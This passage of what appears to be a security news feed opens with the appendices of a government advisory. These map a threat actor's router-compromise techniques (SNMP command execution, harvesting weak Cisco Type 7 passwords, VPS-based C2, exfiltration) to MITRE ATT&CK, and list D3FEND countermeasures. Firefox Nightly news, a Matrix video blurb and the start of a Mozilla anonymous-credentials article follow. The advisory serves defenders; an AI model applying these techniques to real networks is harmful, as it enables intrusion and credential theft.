</li>
</ul>
<p><strong>Australian organizations</strong></p>
<ul>
<li><strong>Australian Signals Directorate</strong>
<ul>
<li>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</li>
</ul>
</li>
</ul>
<p><strong>Canadian organizations</strong></p>
<ul type="disc">
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
<ul>
<li>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank">Report a cyber incident - Canadian Centre for Cyber Security</a> or by phone at 1-833-CYBER-88 (1-833-292-3788).</li>
</ul>
</li>
</ul>
<p><strong>New Zealand organizations</strong></p>
<ul type="disc">
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz">info@ncsc.govt.nz</a></li>
</ul>
<p><strong>United Kingdom organizations</strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank">ncsc.gov.uk/report-an-incident</a> (monitored 24/7)</li>
</ul>
<p><strong>Estonia organizations</strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee">info@valisluureamet.ee</a></li>
</ul>
<p><strong>Finnish organizations</strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank">supo.fi/en/contact</a></li>
</ul>
<p><strong>French organizations</strong></p>
<ul type="disc">
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr">cert-fr@ssi.gouv.fr</a> or by phone at: 3218 or +33 9 70 83 32 18.</li>
</ul>
<p><strong>Italian Organizations</strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
<li>Italian Internal Intelligence and Security Agency (AISI): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a> through <a href="https://www.cisa.gov/#Table10"><strong>Table 10</strong></a> for all the threat actor tactics and techniques referenced in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 1: Reconnaissance</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Active Scanning: Scanning IP Blocks</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a></td>
<td>Scan range of IP addresses</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a></td>
<td>Scan victims for vulnerabilities that can be used during targeting</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 2: Resource Development</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Servers </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a> </td>
<td>Leverage VPS as infrastructure </td>
</tr>
<tr>
<td>Compromise Infrastructure: Network Devices </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a> </td>
<td>Compromise intermediate routers </td>
</tr>
<tr>
<td>Obtain Capabilities: Exploits </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a> </td>
<td>Use publicly available code to exploit vulnerable devices </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 3: Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a> </td>
<td>Exploit publicly known CVEs </td>
</tr>
<tr>
<td>Proxy</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a></td>
<td>Use a connection proxy to direct network traffic </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4: Execution</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Services</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a></td>
<td>Executing commands via SNMP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5: Privilege Escalation</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation for Privilege Escalation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a></td>
<td>Exploit publicly known CVEs for escalated privileges</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 6: Stealth</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obfuscated Files or Information</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a></td>
<td>Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 7: Credential Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>OS Credential Dumping</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a></td>
<td>Collect router configuration with weak Cisco Type 7 passwords and Type 0</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 8: Collection</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data from Configuration Repository: SNMP (MIB Dump) </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a> </td>
<td>Target MIB to collect network information via SNMP </td>
</tr>
<tr>
<td>Data from Configuration Repository: Network Device Configuration Dump</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a></td>
<td>Acquire credentials by collecting network device configurations</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 9: Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxy </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a> </td>
<td>Use VPS for C2 </td>
</tr>
<tr>
<td>Application Layer Protocol </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a> </td>
<td>Open and expose a variety of different services, including TFTP and FTP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 10: Exfiltration</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over Alternative Protocol</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a></td>
<td>Exfiltrating over a different protocol than that of the existing command and control channel. </td>
</tr>
</tbody>
</table>
<h2><strong>Appendix B: MITRE D3FEND countermeasures</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table11"><strong>Table 11</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 11: MITRE D3FEND Countermeasures</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Countermeasure Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Configuration Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a></td>
<td>
<ul type="disc">
<li>Use SNMPv3 and disable SNMPv1 and SNMPv2. </li>
<li>Use SNMP allowlisting to restrict access to OIDs and MIBs. </li>
<li>Disable Cisco Smart Install.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Authentication</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a></td>
<td>
<ul>
<li>Use SNMPv3 with strong authentication.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Encryption</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a></td>
<td>
<ul>
<li>Use SNMPv3 to encrypt payloads.</li>
</ul>
</td>
</tr>
<tr>
<td>Credential Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a></td>
<td>
<ul>
<li>Use strong, unique passwords and store them securely.</li>
</ul>
</td>
</tr>
<tr>
<td>Platform Monitoring</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a></td>
<td>
<ul type="disc">
<li>Monitor for unusual credentials. </li>
<li>Monitor SNMP Set-Requests for OIDs targeting sensitive device data.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Traffic Filtering</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a></td>
<td>
<ul type="disc">
<li>Use ACLs to only allow management protocols from management devices. </li>
<li>Block TFTP, SMI, and SNMP at edge firewalls.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Vulnerability Assessment</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a></td>
<td>
<ul>
<li>Use an attack surface management service.</li>
</ul>
</td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S12E10 – Element Demos]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 30x - Views:691 Today Benoit shows us how EX Android supports editing feature before joining, Matthew talks about DMLS, Robin showcases the latest bits of polish to Element Call and Eric talks everything MAS.

This Week in Matrix: https://matrix.org/twim

Find Ma...]]></description>
<link>https://tsecurity.de/de/3693336/videos/matrix-live-s12e10-element-demos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693336/videos/matrix-live-s12e10-element-demos/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:16 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 30x - Views:691 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0Yr67OT61Vc?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Today Benoit shows us how EX Android supports editing feature before joining, Matthew talks about DMLS, Robin showcases the latest bits of polish to Element Call and Eric talks everything MAS.<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Eyedropper Quick Action, geckodriver 0.37, and Tighter File Permissions – These Weeks in Firefox: Issue 205]]></title>
<description><![CDATA[Highlights

Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.



Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
Starting ...]]></description>
<link>https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:28 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1803575">Bug 1803575</a>) on Nightly.</li>
</ul>
<p><img alt='Firefox URL bar dropdown with "col" typed in, showing an eyedropper button labeled "Pick a color" below search suggestions.' class="aligncenter size-full wp-image-2084" height="358" src="https://blog.nightly.mozilla.org/files/2026/06/image1-3.png" width="724"></p>
<ul>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938333">released geckodriver 0.37.0</a>, which includes support for several new APIs and various bug fixes. See the <a href="https://github.com/mozilla/geckodriver/releases/tag/v0.37.0">release page for details</a>.</li>
<li>Starting from Firefox 153, access to local file: URLs is being restricted by default.
<ul>
<li>Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.</li>
<li>Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034168">Bug 2034168</a>).</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1941404%2C2039281%2C2024187%2C1674047%2C1986161%2C2043187%2C2019260%2C2027580%2C2027582%2C2041640%2C2039294%2C2042309%2C1830551%2C2031735%2C2043952%2C1972065%2C2043958%2C2042419%2C2042820%2C2022661%2C1994826%2C2041802%2C1315558%2C1930776%2C2042921%2C2043938">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>:Vincent</li>
<li>Chris Vander Linden</li>
<li>DrSeed</li>
<li>Khalid AlHaddad</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Francis :mckenfra: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1315558">tld service for webextensions</a></li>
<li>any1here: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042309">about:preferences#privacy is broken with MOZ_DATA_REPORTING false</a></li>
<li>pullmana8: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">Fix protocol/Actor.js to throw an Error instead of an Actor</a></li>
<li>RAN1: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1830551">Firefox Crashes on Quit When Running Two Browsers With Separate Profiles</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Accessibility</h4>
<ul>
<li>Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it <a href="https://firefox-source-docs.mozilla.org/bug-mgmt/processes/accessibility-review.html#automated-accessibility-review-skill">in the accessibility review source docs</a>.</li>
</ul>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042200"> Bug 2042200</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042204"> Bug 2042204</a></li>
<li>Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040971"> Bug 2040971</a></li>
<li>Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2043803"> Bug 2043803</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041393"> Bug 2041393</a></li>
<li>Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1751346"> Bug 1751346</a></li>
<li>Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1805205"> Bug 1805205</a>
<ul>
<li>Thanks to Mike Kaply for implementing this enterprise policy enhancement.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1653876"> Bug 1653876</a></li>
<li>Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1750196"> Bug 1750196</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=766005">Chris Vander Linden</a> made the Search input component shared as we plan to use it in the Netmonitor as well (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019260">#2019260</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027580">#2027580</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027582">#2027582</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=631103">pullmana8</a> improved error management in the DevTools protocol (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">#2031735</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=553004">Chris H-C :chutten</a> removed Legacy Telemetry devtools instrumentation (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039650">#2039650</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=13647">:glob ✱</a> fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016778">#2016778</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> exposed heading level more clearly in the accessibility tree (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1588784">#1588784</a>) and in the accessibility highlighter (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044904">#2044904</a>)</li>
</ul>
<p><img alt='Accessibility panel in Firefox DevTools showing a selected "heading (level 3)" node named "Backwards compatibility."' class="aligncenter size-full wp-image-2083" height="375" src="https://blog.nightly.mozilla.org/files/2026/06/image2-3.png" width="727"></p>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028058">#2028058</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed an issue in Netmonitor search where it could appear the the search stalled (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042405">#2042405</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036404">#2036404</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1941404">allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently</a>.</li>
<li>Khalid AlHaddad updated our codebase to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1972065">use constants instead of hardcoded strings</a> for all our session data types.</li>
<li>Alexandra Borovova updated <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015655">the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers</a>.</li>
<li>Alexandra Borovova fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042385">a regression when there would be no “script.realmCreated” events after the cross-origin navigation</a>.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Dharma updated context search actions to trigger search instead of entering search mode @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1945080">1945080</a></li>
<li>Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041255">2041255</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030183">2030183</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019168">2019168</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044849">2044849</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033583">2033583</a></li>
<li>Moritz has worked on several refactorings to allow the urlbar to be used in content @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039828">2039828</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039298">2039298</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041280">2041280</a></li>
<li>Middle click paste replaces content was fixed by Moritz @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042893">2042893</a></li>
<li>Michel added feature to show registrable domain on desktop after its implementation on mobile @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986161">1986161</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
